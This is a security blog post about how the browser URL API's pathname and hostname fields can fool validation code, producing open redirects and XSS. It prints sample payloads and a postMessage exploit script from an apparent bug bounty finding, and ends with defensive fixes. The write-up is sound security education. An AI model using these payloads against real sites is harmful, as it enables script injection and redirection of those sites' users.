Messing Around with Parsed URLs

2026-04-15T00:00:00+00:00

Claims</h2>

new URL(userControlled).pathname</code> is not safe to feed into location.href</code>. For special schemes (http</code>, https</code>, ws</code>, wss</code>, ftp</code>, file</code>) it can start with //</code> and turn into an open redirect. For non-special schemes it can start with javascript:</code> and turn into XSS.</li>
The .hostname</code> of a URL</code> is also not safe to allowlist against, because browsers happily parse javascript://...stuff...evil.com</code> into a "URL" whose hostname ends in your trusted domain.</li>
Both behaviors come straight from the WHATWG URL Standard</a>. Browsers are doing the spec-conformant thing. The bugs are in the application code.</li>

The URL</code> API looks like a sanitizer and, if done right, it can be a sanitizer, but it comes with a few footguns.</li> </ul> What started this</h2> I saw this Critical Thinking Podcast short</a> that pointed out a javascript:</code> URL parsed by new URL()</code> can end up with a hostname</code> attribute. This is kind of weird. Turns out there seems to be a lot of code on the web where devs rely on attributes of URL</code>-parsed objects for validating user-controlled data and there is more than one way this can lead to problems. I will explore two of them here. Extra slashes in special URLs</h2> This is a standard pattern and looks fine on first read: // redirect client to the path of a given URL const userControlledURL = new URL(userControlled) location.href = userControlledURL.pathname</code></pre> You would expect the code to just pull out the path, so even if userControlled</code> is something like https://evil.com/foo</code>, the code will navigate to /foo</code> on the current origin. Reasonable. But: (new URL("https://nice.com//evil.com")).pathname // -> "//evil.com"</code></pre> If userControlled === "https://nice.com//evil.com"</code>, the snippet above sets location.href = "//evil.com"</code>, which the browser resolves as a protocol-relative URL, straight to https://evil.com</code>. Open redirect. The browser treats /</code> as a path-segment separator inside path state</a>. The relevant rule, paraphrased: "if c</code> is /</code>, then terminate the current path segment." (the same is true for \</code> by the way). So tracing https://nice.com//evil.com</code> through the parser: after https://nice.com</code> is consumed, path state runs with c = /</code> and an empty buffer. Special URL, c</code> is /</code> → terminate the (empty) segment. Path is now [""]</code>. Then it reads evil.com</code> into the buffer, end-of-input flushes it. Final path: ["", "evil.com"]</code>. The serializer joins with /</code> and prefixes one, giving "//evil.com"</code>. For https:</code> URIs the path is guaranteed to start with a /</code>. That doesn't save you here: //evil.com</code> also starts with /</code>. It gets worse with custom schemes</h2> For non-special schemes, if the scheme isn't followed by //</code>, the parser goes straight to path state and the pathname gets no leading /</code>: (new URL("bla:javascript:alert(1)")).pathname // -> "javascript:alert(1)"</code></pre> So if userControlled === "bla:javascript:alert(1)"</code> and the same redirect snippet runs: location.href = "javascript:alert(1)"</code></pre> XSS! Quick write-up of a real-world bug bounty finding</h2> Back to the initial observation that javascript:</code> URLs can have non-falsey .hostname</code>/.host</code> attributes. After learning that, I went back to a target with a web message handler that I had looked at before but didn't manage to exploit. The vulnerable code was a message</code> handler that looked roughly like this: window.addEventListener("message", (event) => { let data = event.data; if (data?.event_type === "NAVIGATE") { try { let t = new URL(data.href); if ( t.hostname.endsWith(".target.com") ) { router.push(data.href); } } catch {} } });</code></pre> Two things going wrong: No event.origin</code> check on the message itself.</li> As pointed out: .hostname</code> of a parsed URL is not what you think it is when the URL has a non-special scheme.</li> </ol> To get a .hostname</code>, the string still has to start with [SCHEME]://...</code>. This is possible with a functioning XSS payload. To check this yourself, try this in the DevTools console: > let url = new URL("javascript://%0aconsole.log('pwned')%2f%2f.example.com/") > url.hostname "%0aconsole.log('pwned')%2f%2f.example.com" > url.host "%0aconsole.log('pwned')%2f%2f.example.com" > window.location = url.href // pwned</code></pre> This is the WHATWG behavior: the spec lets non-special URLs carry an authority. So the exploit: const win = window.open("https://www.target.com/") await new Promise(r => setTimeout(r, 600)) // wait for load win.postMessage({ "event_type": "NAVIGATE", "href": "javascript://%0aalert(document.domain)%2f%2f.target.com/" }, "*")</code></pre> new URL(data.href)</code> parses, .hostname</code> is %0aalert(document.domain)%2f%2f.target.com</code> (and therefore ends with .target.com</code>), suffix check passes. router.push(data.href)</code> runs with the same string, the browser navigates to a javascript:</code> URL, and: %0a</code> decodes to a newline, terminating the JS comment that the //</code> opened</li> alert(document.domain)</code> runs on the next line</li> //.target.com/</code> is a trailing comment</li> </ul> Wrapping up</h2> Going back to the claims at the top: URL</code> can be used as a sanitizer, but only if you check the scheme first. Without that check, .pathname</code>, .hostname</code>, .host</code> are just components of the parse result, and what those components mean depends entirely on the scheme. Two vectors discussed above are instances of the same mistake: trusting a component without first asking whether the scheme makes that component meaningful: .pathname</code> looks like a relative path, but for special URLs it can start with //</code> (backslash trick), and for non-special URLs it can be javascript:alert(1)</code> (opaque path).</li> .hostname</code> looks like a hostname, but for non-special URLs it's whatever bytes the spec lets you stuff between //</code> and the next path-terminating character.</li> </ul> A short list of things that are probably safe for redirect/allowlist code: Compare parsed.origin === "https://your.exact.origin"</code> and reject anything else.</li> Explicitly check parsed.protocol === "https:"</code> before doing anything with parsed.hostname</code>.</li> If you want to redirect to a path, prefix it: window.location = window.location.origin + "/" + parsed.pathname.substr(1)</code>.</li> </ul>

Messing Around with Parsed URLs

About

SmallScan